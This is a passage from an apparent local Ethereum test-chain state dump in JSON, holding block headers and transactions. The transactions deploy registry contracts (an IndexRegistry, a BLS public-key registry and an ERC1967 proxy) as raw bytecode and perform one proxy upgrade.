01b3578063a48bb0ac146101d3578063bd29b8cd146101e6578063caa3cd76146101f9578063e2e685801461020f578063f34109221461025557600080fd5b8062bff04d146100b857806312d1d74d146100e157806326d941f2146101155780632ed583e51461012a5780636d14a9871461013d5780638121906f1461017c575b600080fd5b6100cb6100c6366004610eac565b610268565b6040516100d89190610f28565b60405180910390f35b6100f46100ef366004610f9c565b6103be565b60408051825163ffffffff16815260209283015192810192909252016100d8565b610128610123366004610fcf565b610404565b005b6100f4610138366004610fea565b610528565b6101647f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100d8565b61018f61018a366004610fcf565b6105ae565b60408051825163ffffffff90811682526020938401511692810192909252016100d8565b6101c66101c1366004610f9c565b6105f5565b6040516100d8919061102d565b61018f6101e1366004610f9c565b610754565b6101286101f4366004610eac565b6107cb565b610201600081565b6040519081526020016100d8565b61024061021d366004611065565b600160209081526000928352604080842090915290825290205463ffffffff1681565b60405163ffffffff90911681526020016100d8565b610240610263366004610fcf565b6108d5565b6060336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146102bb5760405162461bcd60e51b81526004016102b29061108f565b60405180910390fd5b60008267ffffffffffffffff8111156102d6576102d6611102565b6040519080825280602002602001820160405280156102ff578160200160208202803683370190505b50905060005b838110156103b357600085858381811061032157610321611118565b919091013560f81c60008181526003602052604081205491935090915081900361035d5760405162461bcd60e51b81526004016102b29061112e565b6000610368836108f4565b905061037f898461037a600185611199565b6109f1565b8085858151811061039257610392611118565b63ffffffff9290921660209283029190910190910152505050600101610305565b5090505b9392505050565b60408051808201909152600080825260208201526103dc8383610a7b565b60408051808201909152815463ffffffff168152600190910154602082015290505b92915050565b336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461044c5760405162461bcd60e51b81526004016102b29061108f565b60ff8116600090815260036020526040902054156104c65760405162461bcd60e51b815260206004820152603160248201527f496e64657852656769737472792e63726561746551756f72756d3a2071756f72604482015270756d20616c72656164792065786973747360781b60648201526084016102b2565b60ff166000908152600360209081526040808320815180830190925263ffffffff438116835282840185815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055565b604080518082019091526000808252602082015260ff8416600090815260026020908152604080832063ffffffff8088168552925290912080549091841690811061057557610575611118565b600091825260209182902060408051808201909152600290920201805463ffffffff168252600101549181019190915290509392505050565b60408051808201909152600080825260208201526105cb82610ad3565b60408051808201909152905463ffffffff8082168352600160201b90910416602082015292915050565b606060006106038484610b15565b905060008163ffffffff1667ffffffffffffffff81111561062657610626611102565b60405190808252806020026020018201604052801561064f578160200160208202803683370190505b50905060005b8263ffffffff1681101561074b5761066e868287610c4a565b82828151811061068057610680611118565b6020026020010181815250506000801b8282815181106106a2576106a2611118565b6020026020010151036107435760405162461bcd60e51b815260206004820152605d60248201527f496e64657852656769737472792e6765744f70657261746f724c69737441744260448201527f6c6f636b4e756d6265723a206f70657261746f7220646f6573206e6f7420657860648201527f6973742061742074686520676976656e20626c6f636b206e756d626572000000608482015260a4016102b2565b600101610655565b50949350505050565b604080518082019091526000808252602082015260ff83166000908152600360205260409020805463ffffffff841690811061079257610792611118565b60009182526020918290206040805180820190915291015463ffffffff8082168352600160201b90910416918101919091529392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146108135760405162461bcd60e51b81526004016102b29061108f565b60005b818110156108cf57600083838381811061083257610832611118565b919091013560f81c60008181526003602052604081205491935090915081900361086e5760405162461bcd60e51b81526004016102b29061112e565b60ff8216600090815260016020908152604080832089845290915281205463ffffffff169061089c84610d21565b905060006108aa8583610d5b565b90508089146108be576108be8186856109f1565b505060019093019250610816915050565b50505050565b60006108e082610ad3565b54600160201b900463ffffffff1692915050565b60008061090083610ad3565b805490915060009061092090600160201b900463ffffffff1660016111bd565b905061092d848383610d85565b60ff841660009081526002602052604081209061094b600184611199565b63ffffffff168152602081019190915260400160009081205490036103b75760ff8416600090815260026020526040812090610988600184611199565b63ffffffff908116825260208083019390935260409182016000908120835180850190945243831684528385018281528154600180820184559284529590922093516002909502909301805463ffffffff19169490921693909317815591519101559392505050565b60006109fd8383610a7b565b9050610a0b83838387610e23565b60ff83166000818152600160209081526040808320888452825291829020805463ffffffff191663ffffffff871690811790915582519384529083015285917f6ee1e4f4075f3d067176140d34e87874244dd273294c05b2218133e49a2ba6f6910160405180910390a250505050565b60ff8216600090815260026020908152604080832063ffffffff851684529091528120805490610aac6001836111da565b81548110610abc57610abc611118565b906000526020600020906002020191505092915050565b60ff81166000908152600360205260408120805490610af36001836111da565b81548110610b0357610b03611118565b90600052602060002001915050919050565b60ff8216600090815260036020526040812054805b8015610bbd5760ff85166000908152600360205260408120610b4d6001846111da565b81548110610b5d57610b5d611118565b60009182526020918290206040805180820190915291015463ffffffff808216808452600160201b90920481169383019390935290925090861610610baa576020015192506103fe915050565b5080610bb5816111ed565b915050610b2a565b5060405162461bcd60e51b815260206004820152605560248201527f496e64657852656769737472792e5f6f70657261746f72436f756e744174426c60448201527f6f636b4e756d6265723a2071756f72756d20646964206e6f742065786973742060648201527430ba1033b4bb32b710313637b1b590373ab6b132b960591b608482015260a4016102b2565b60ff8316600090815260026020908152604080832063ffffffff86168452909152812054805b8015610d155760ff8616600090815260026020908152604080832063ffffffff891684529091528120610ca46001846111da565b81548110610cb457610cb4611118565b600091825260209182902060408051808201909152600290920201805463ffffffff9081168084526001909201549383019390935290925090861610610d02576020015192506103b7915050565b5080610d0d816111ed565b915050610c70565b50600095945050505050565b600080610d2d83610ad3565b8054909150600090610d4e90600190600160201b900463ffffffff16611199565b90506103b7848383610d85565b600080610d688484610a7b565b6001810154909150610d7d8585846000610e23565b949350505050565b815463ffffffff438116911603610dba57815463ffffffff8216600160201b0267ffffffff0000000019909116178255505050565b60ff83166000908152600360209081526040808320815180830190925263ffffffff438116835285811683850190815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055505050565b815463ffffffff438116911603610e4057600182018190556108cf565b60ff93909316600090815260026020818152604080842063ffffffff968716855282528084208151808301909252438716825281830197885280546001808201835591865292909420905191909202909101805463ffffffff1916919094161783559251919092015550565b600080600060408486031215610ec157600080fd5b83359250602084013567ffffffffffffffff80821115610ee057600080fd5b818601915086601f830112610ef457600080fd5b813581811115610f0357600080fd5b876020828501011115610f1557600080fd5b6020830194508093505050509250925092565b6020808252825182820181905260009190848201906040850190845b81811015610f6657835163ffffffff1683529284019291840191600101610f44565b50909695505050505050565b803560ff81168114610f8357600080fd5b919050565b803563ffffffff81168114610f8357600080fd5b60008060408385031215610faf57600080fd5b610fb883610f72565b9150610fc660208401610f88565b90509250929050565b600060208284031215610fe157600080fd5b6103b782610f72565b600080600060608486031215610fff57600080fd5b61100884610f72565b925061101660208501610f88565b915061102460408501610f88565b90509250925092565b6020808252825182820181905260009190848201906040850190845b81811015610f6657835183529284019291840191600101611049565b6000806040838503121561107857600080fd5b61108183610f72565b946020939093013593505050565b6020808252604d908201527f496e64657852656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865207265676973747260608201526c3c9031b7b7b93234b730ba37b960991b608082015260a00190565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b60208082526035908201527f496e64657852656769737472792e72656769737465724f70657261746f723a206040820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b63ffffffff8281168282160390808211156111b6576111b6611183565b5092915050565b63ffffffff8181168382160190808211156111b6576111b6611183565b818103818111156103fe576103fe611183565b6000816111fc576111fc611183565b50600019019056fea2646970667358221220af8de4d3486e0b797de225bb92c1953126cca4d69399c73bf6885ce4485dc52464736f6c63430008180033000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36","r":"0xc6dca5dd860e8720658be71db2141d7c525cc30e8b80d9d8f3bbe62bc7642410","s":"0x345fe864507e17cf05bbc98546759080bdb4de5de7f0a0e55f7f8362cac0f64f","yParity":"0x1","hash":"0xbeced7d5f4e7a504b477c9fd0098a017da0c8e5b69cd0c85f79710fc40857447"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x2106ea21b1dc2d13810e72b9de3820024363ba540315c3747a8ebd7251733aca","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x483dfd997b27644804511ea05ccce63732ab6fe9260af08ce8f8e3b65ad8feb0","transactionsRoot":"0xb9725a655b3ed16e0857bddb0dd7791d82015cb79b02ade5afa7332e66caf989","receiptsRoot":"0x7b445d94dbda199096aa284c6fe0dddd8781d62c5a01e47a1123f39ac64a14c1","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000002200040000000000100000000001000000000000000000000000040004000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000080000000000000000000000020000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000","difficulty":"0x0","number":"0x9","gasLimit":"0x1c9c380","gasUsed":"0x1c0397","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1621e2fd","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2d","gas":"0x23a344","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60a06040523480156200001157600080fd5b506040516200208738038062002087833981016040819052620000349162000116565b6001600160a01b038116608052806200004c62000054565b505062000148565b600054610100900460ff1615620000c15760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101562000114576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6000602082840312156200012957600080fd5b81516001600160a01b03811681146200014157600080fd5b9392505050565b608051611f07620001806000396000818161030f01528181610466015281816105bf015281816109c501526110250152611f076000f3fe608060405234801561001057600080fd5b50600436106101155760003560e01c80636d14a987116100a2578063bf79ce5811610071578063bf79ce58146103cc578063d5254a8c146103df578063de29fac0146103ff578063e8bb9ae61461041f578063f4e24fe51461044857600080fd5b80636d14a9871461030a5780637916cea6146103315780637ff81a8714610372578063a3db80e2146103a557600080fd5b80633fb27952116100e95780633fb27952146101df57806347b314e8146101f25780635f61a88414610233578063605747d51461028f57806368bccaac146102dd57600080fd5b8062a1f4cb1461011a57806313542a4e1461015b57806326d941f214610192578063377ed99d146101a7575b600080fd5b6101416101283660046118e3565b6003602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b6101846101693660046118e3565b6001600160a01b031660009081526001602052604090205490565b604051908152602001610152565b6101a56101a0366004611916565b61045b565b005b6101ca6101b5366004611916565b60ff1660009081526004602052604090205490565b60405163ffffffff9091168152602001610152565b6101a56101ed3660046119a1565b6105b4565b61021b610200366004611a47565b6000908152600260205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610152565b610282610241366004611916565b60408051808201909152600080825260208201525060ff16600090815260056020908152604091829020825180840190935280548352600101549082015290565b6040516101529190611a60565b6102a261029d366004611a77565b610672565b60408051825167ffffffffffffffff1916815260208084015163ffffffff908116918301919091529282015190921690820152606001610152565b6102f06102eb366004611aa1565b610705565b60405167ffffffffffffffff199091168152602001610152565b61021b7f000000000000000000000000000000000000000000000000000000000000000081565b61034461033f366004611a77565b6108a0565b6040805167ffffffffffffffff19909416845263ffffffff9283166020850152911690820152606001610152565b6103856103803660046118e3565b6108eb565b604080518351815260209384015193810193909352820152606001610152565b6101416103b3366004611916565b6005602052600090815260409020805460019091015482565b6101846103da366004611ae9565b6109b8565b6103f26103ed366004611b46565b610e0b565b6040516101529190611bbe565b61018461040d3660046118e3565b60016020526000908152604090205481565b61021b61042d366004611a47565b6002602052600090815260409020546001600160a01b031681565b6101a56104563660046119a1565b61101a565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146104ac5760405162461bcd60e51b81526004016104a390611c08565b60405180910390fd5b60ff81166000908152600460205260409020541561052b5760405162461bcd60e51b815260206004820152603660248201527f424c5341706b52656769737472792e696e697469616c697a6551756f72756d3a6044820152752071756f72756d20616c72656164792065786973747360501b60648201526084016104a3565b60ff166000908152600460209081526040808320815160608101835284815263ffffffff4381168286019081528285018781528454600181018655948852959096209151919092018054955194518316600160e01b026001600160e01b0395909316600160c01b026001600160e01b03199096169190931c179390931791909116919091179055565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146105fc5760405162461bcd60e51b81526004016104a390611c08565b6000610607836108eb565b50905061061482826110c3565b7f73a2b7fb844724b971802ae9b15db094d4b7192df9d7350e14eb466b9b22eb4e83610655856001600160a01b031660009081526001602052604090205490565b8460405161066593929190611c7c565b60405180910390a1505050565b604080516060810182526000808252602080830182905282840182905260ff8616825260049052919091208054839081106106af576106af611ce2565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b8204811694830194909452600160e01b90049092169082015290505b92915050565b60ff8316600090815260046020526040812080548291908490811061072c5761072c611ce2565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b82048116948301859052600160e01b9091048116928201929092529250851610156107f35760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a20696e64657820746f6f20726563656e74000060648201526084016104a3565b604081015163ffffffff1615806108195750806040015163ffffffff168463ffffffff16105b6108975760405162461bcd60e51b815260206004820152604360248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a206e6f74206c61746573742061706b2075706460648201526261746560e81b608482015260a4016104a3565b51949350505050565b600460205281600052604060002081815481106108bc57600080fd5b600091825260209091200154604081901b925063ffffffff600160c01b820481169250600160e01b9091041683565b60408051808201909152600080825260208201526001600160a01b0382166000818152600360209081526040808320815180830183528154815260019182015481850152948452909152812054909190806109ae5760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e676574526567697374657265645075626b60448201527f65793a206f70657261746f72206973206e6f742072656769737465726564000060648201526084016104a3565b9094909350915050565b6000336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610a025760405162461bcd60e51b81526004016104a390611c08565b6000610a30610a1936869003860160408701611cf8565b805160009081526020918201519091526040902090565b90507fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb58103610ab7576040805162461bcd60e51b8152602060048201526024810191909152600080516020611eb283398151915260448201527f4b65793a2063616e6e6f74207265676973746572207a65726f207075626b657960648201526084016104a3565b6001600160a01b03851660009081526001602052604090205415610b415760405162461bcd60e51b81526020600482015260476024820152600080516020611eb283398151915260448201527f4b65793a206f70657261746f7220616c72656164792072656769737465726564606482015266207075626b657960c81b608482015260a4016104a3565b6000818152600260205260409020546001600160a01b031615610bc55760405162461bcd60e51b81526020600482015260426024820152600080516020611eb283398151915260448201527f4b65793a207075626c6963206b657920616c7265616479207265676973746572606482015261195960f21b608482015260a4016104a3565b604080516000917f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000191610c1e918835916020808b0135928b01359160608c01359160808d019160c08e01918d35918e8201359101611d2a565b6040516020818303038152906040528051906020012060001c610c419190611d6c565b9050610cdb610c7a610c6583610c5f368a90038a0160408b01611cf8565b90611307565b610c7436899003890189611cf8565b90611398565b610c8261142d565b610cc4610cb585610c5f604080518082018252600080825260209182015281518083019092526001825260029082015290565b610c74368a90038a018a611cf8565b610cd6368a90038a0160808b01611dde565b6114ed565b610d765760405162461bcd60e51b815260206004820152606c6024820152600080516020611eb283398151915260448201527f4b65793a2065697468657220746865204731207369676e61747572652069732060648201527f77726f6e672c206f7220473120616e642047322070726976617465206b65792060848201526b0c8de40dcdee840dac2e8c6d60a31b60a482015260c4016104a3565b6001600160a01b03861660008181526003602090815260408083208982018035825560608b013560019283015590835281842087905586845260029092529182902080546001600160a01b0319168417905590517fe3fb6613af2e8930cf85d47fcf6db10192224a64c6cbe8023e0eee1ba382804191610dfa9160808a0190611e1d565b60405180910390a250949350505050565b606060008367ffffffffffffffff811115610e2857610e28611931565b604051908082528060200260200182016040528015610e51578160200160208202803683370190505b50905060005b84811015611011576000868683818110610e7357610e73611ce2565b919091013560f81c6000818152600460205260409020549092509050801580610ed6575060ff821660009081526004602052604081208054909190610eba57610eba611ce2565b600091825260209091200154600160c01b900463ffffffff1686105b15610f635760405162461bcd60e51b815260206004820152605160248201527f424c5341706b52656769737472792e67657441706b496e64696365734174426c60448201527f6f636b4e756d6265723a20626c6f636b4e756d626572206973206265666f7265606482015270207468652066697273742075706461746560781b608482015260a4016104a3565b805b80156110065760ff831660009081526004602052604090208790610f8a600184611e5d565b81548110610f9a57610f9a611ce2565b600091825260209091200154600160c01b900463ffffffff1611610ff457610fc3600182611e5d565b858581518110610fd557610fd5611ce2565b602002602001019063ffffffff16908163ffffffff1681525050611006565b80610ffe81611e70565b915050610f65565b505050600101610e57565b50949350505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146110625760405162461bcd60e51b81526004016104a390611c08565b600061106d836108eb565b5090506110828261107d83611751565b6110c3565b7ff843ecd53a563675e62107be1494fdde4a3d49aeedaf8d88c616d85346e3500e83610655856001600160a01b031660009081526001602052604090205490565b604080518082019091526000808252602082015260005b83518110156113015760008482815181106110f7576110f7611ce2565b0160209081015160f81c600081815260049092526040822054909250908190036111895760405162461bcd60e51b815260206004820152603d60248201527f424c5341706b52656769737472792e5f70726f6365737351756f72756d41706b60448201527f5570646174653a2071756f72756d20646f6573206e6f7420657869737400000060648201526084016104a3565b60ff821660009081526005602090815260409182902082518084019093528054835260010154908201526111bd9086611398565b60ff831660008181526005602090815260408083208551808255868401805160019384015590855251835281842094845260049092528220939750919290916112069085611e5d565b8154811061121657611216611ce2565b6000918252602090912001805490915063ffffffff438116600160c01b90920416036112555780546001600160c01b031916604083901c1781556112f1565b805463ffffffff438116600160e01b8181026001600160e01b0394851617855560ff88166000908152600460209081526040808320815160608101835267ffffffffffffffff198b16815280840196875280830185815282546001810184559286529390942093519301805495519251871690940291909516600160c01b026001600160e01b0319949094169190941c17919091179092161790555b5050600190920191506110da9050565b50505050565b6040805180820190915260008082526020820152611323611810565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa9050808061135257fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016104a3565b505092915050565b60408051808201909152600080825260208201526113b461182e565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa905080806113ef57fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016104a3565b61143561184c565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b60408051808201825285815260208082018590528251808401909352858352820183905260009161151c611871565b60005b60028110156116d7576000611535826006611e87565b905084826002811061154957611549611ce2565b6020020151518361155b836000611e9e565b600c811061156b5761156b611ce2565b602002015284826002811061158257611582611ce2565b602002015160200151838260016115999190611e9e565b600c81106115a9576115a9611ce2565b60200201528382600281106115c0576115c0611ce2565b60200201515151836115d3836002611e9e565b600c81106115e3576115e3611ce2565b60200201528382600281106115fa576115fa611ce2565b6020020151516001602002015183611613836003611e9e565b600c811061162357611623611ce2565b602002015283826002811061163a5761163a611ce2565b60200201516020015160006002811061165557611655611ce2565b602002015183611666836004611e9e565b600c811061167657611676611ce2565b602002015283826002811061168d5761168d611ce2565b6020020151602001516001600281106116a8576116a8611ce2565b6020020151836116b9836005611e9e565b600c81106116c9576116c9611ce2565b60200201525060010161151f565b506116e0611890565b60006020826101808560086107d05a03fa905080806116fb57fe5b50806117415760405162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b60448201526064016104a3565b5051151598975050505050505050565b6040805180820190915260008082526020820152815115801561177657506020820151155b15611794575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020017f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd4784602001516117d99190611d6c565b611803907f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47611e5d565b905292915050565b919050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b604051806040016040528061185f6118ae565b815260200161186c6118ae565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160a01b038116811461180b57600080fd5b6000602082840312156118f557600080fd5b6118fe826118cc565b9392505050565b803560ff8116811461180b57600080fd5b60006020828403121561192857600080fd5b6118fe82611905565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561196a5761196a611931565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171561199957611999611931565b604052919050565b600080604083850312156119b457600080fd5b6119bd836118cc565b915060208084013567ffffffffffffffff808211156119db57600080fd5b818601915086601f8301126119ef57600080fd5b813581811115611a0157611a01611931565b611a13601f8201601f19168501611970565b91508082528784828501011115611a2957600080fd5b80848401858401376000848284010152508093505050509250929050565b600060208284031215611a5957600080fd5b5035919050565b8151815260208083015190820152604081016106ff565b60008060408385031215611a8a57600080fd5b611a9383611905565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b611abf84611905565b9250602084013563ffffffff81168114611ad857600080fd5b929592945050506040919091013590565b6000806000838503610160811215611b0057600080fd5b611b09856118cc565b9350610100601f1982011215611b1e57600080fd5b602085019250604061011f1982011215611b3757600080fd5b50610120840190509250925092565b600080600060408486031215611b5b57600080fd5b833567ffffffffffffffff80821115611b7357600080fd5b818601915086601f830112611b8757600080fd5b813581811115611b9657600080fd5b876020828501011115611ba857600080fd5b6020928301989097509590910135949350505050565b6020808252825182820181905260009190848201906040850190845b81811015611bfc57835163ffffffff1683529284019291840191600101611bda565b50909695505050505050565b6020808252604e908201527f424c5341706b52656769737472792e6f6e6c795265676973747279436f6f726460408201527f696e61746f723a2063616c6c6572206973206e6f74207468652072656769737460608201526d393c9031b7b7b93234b730ba37b960911b608082015260a00190565b60018060a01b03841681526000602084602084015260606040840152835180606085015260005b81811015611cbf57858101830151858201608001528201611ca3565b506000608082860101526080601f19601f83011685010192505050949350505050565b634e487b7160e01b600052603260045260246000fd5b600060408284031215611d0a57600080fd5b611d12611947565b82358152602083013560208201528091505092915050565b888152876020820152866040820152856060820152604085608083013760408460c0830137610100810192909252610120820152610140019695505050505050565b600082611d8957634e487b7160e01b600052601260045260246000fd5b500690565b600082601f830112611d9f57600080fd5b611da7611947565b806040840185811115611db957600080fd5b845b81811015611dd3578035845260209384019301611dbb565b509095945050505050565b600060808284031215611df057600080fd5b611df8611947565b611e028484611d8e565b8152611e118460408501611d8e565b60208201529392505050565b823581526020808401359082015260c0810160408381840137604080840160808401379392505050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106ff576106ff611e47565b600081611e7f57611e7f611e47565b506000190190565b80820281158282048414176106ff576106ff611e47565b808201808211156106ff576106ff611e4756fe424c5341706b52656769737472792e7265676973746572424c535075626c6963a264697066735822122032bb5054c7a2f6432e5be9a0f6a1c05e87838a89c3e8ae01d982bce76ffd2a6064736f6c63430008180033000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36","r":"0x8cc81cb43ce2510e26207ab9a479eccc3d7516f64ad104862d887ee37365800a","s":"0x1ca67f4f4063f47de8e15457e8e9e12bade3529d045ba6355adfd0c6f9b818d6","yParity":"0x1","hash":"0xce5b5b87d690f0e404fbdbff7a168d4b80e353e0b6d9e8405858a895c302bcdf"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2e","gas":"0xd175","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","value":"0x0","accessList":[],"input":"0x99a88ec400000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc490000000000000000000000009d4454b023096f34b160d6b654540c56a1f81688","r":"0xf6f8c1b7af5afdc924229a1a55b0a3aa38a97b3ce33b7a2d393ddab7bb1e40b6","s":"0x3774afb3268b01239ce98b6647801f7d320704d183ccc3adda235d903ec2b0a7","yParity":"0x1","hash":"0x0e82a05114b4f5500f0780cde6eb6db9ac17bed907d0bf541f1187d2c3d747f4"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x5fac8228546f498fe901ede66acb349153e231371a5feb7c0d642221349c4854","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xdb72bf8240131e9483aed670dce35c27fdc71b7b439f18227f0a44d2be3a04ce","transactionsRoot":"0xd2ae76a071355e0d4aeca913131d2ebf8ced5d96c189dbd33a6193ed9e3c3cfa","receiptsRoot":"0x45283d1ca30aa589548f175295edbe513189832faf81dec4462b33cf49184885","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00002000000000000000000000000000400000000000000000000000020000000000000000000000000400000000000080c00010000000000000000000000000000000000000000000000000000002200000000000000000000000000000400000000000000000000040004000000000000000800000000000000100000000000500000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000080000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x5","gasLimit":"0x1c9c380","gasUsed":"0x22f86c","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x237cc44f","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x25","gas":"0xb5c61","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405260405162000db238038062000db2833981016040819052620000269162000414565b828162000036828260006200004d565b50620000449050826200007f565b50505062000547565b6200005883620000f1565b600082511180620000665750805b156200007a5762000078838362000133565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f620000c160008051602062000d6b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1620000ee8162000162565b50565b620000fc8162000200565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606200015b838360405180606001604052806027815260200162000d8b6027913962000297565b9392505050565b6001600160a01b038116620001cd5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b8060008051602062000d6b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6200026f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401620001c4565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc620001df565b60606001600160a01b0384163b620003015760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401620001c4565b600080856001600160a01b0316856040516200031e9190620004f4565b600060405180830381855af49150503d80600081146200035b576040519150601f19603f3d011682016040523d82523d6000602084013e62000360565b606091505b509092509050620003738282866200037d565b9695505050505050565b606083156200038e5750816200015b565b8251156200039f5782518084602001fd5b8160405162461bcd60e51b8152600401620001c4919062000512565b80516001600160a01b0381168114620003d357600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156200040b578181015183820152602001620003f1565b50506000910152565b6000806000606084860312156200042a57600080fd5b6200043584620003bb565b92506200044560208501620003bb565b60408501519092506001600160401b03808211156200046357600080fd5b818601915086601f8301126200047857600080fd5b8151818111156200048d576200048d620003d8565b604051601f8201601f19908116603f01168101908382118183101715620004b857620004b8620003d8565b81604052828152896020848701011115620004d257600080fd5b620004e5836020830160208801620003ee565b80955050505050509250925092565b6000825162000508818460208701620003ee565b9190910192915050565b602081526000825180602084015262000533816040850160208701620003ee565b601f01601f19169190910160400192915050565b61081480620005576000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b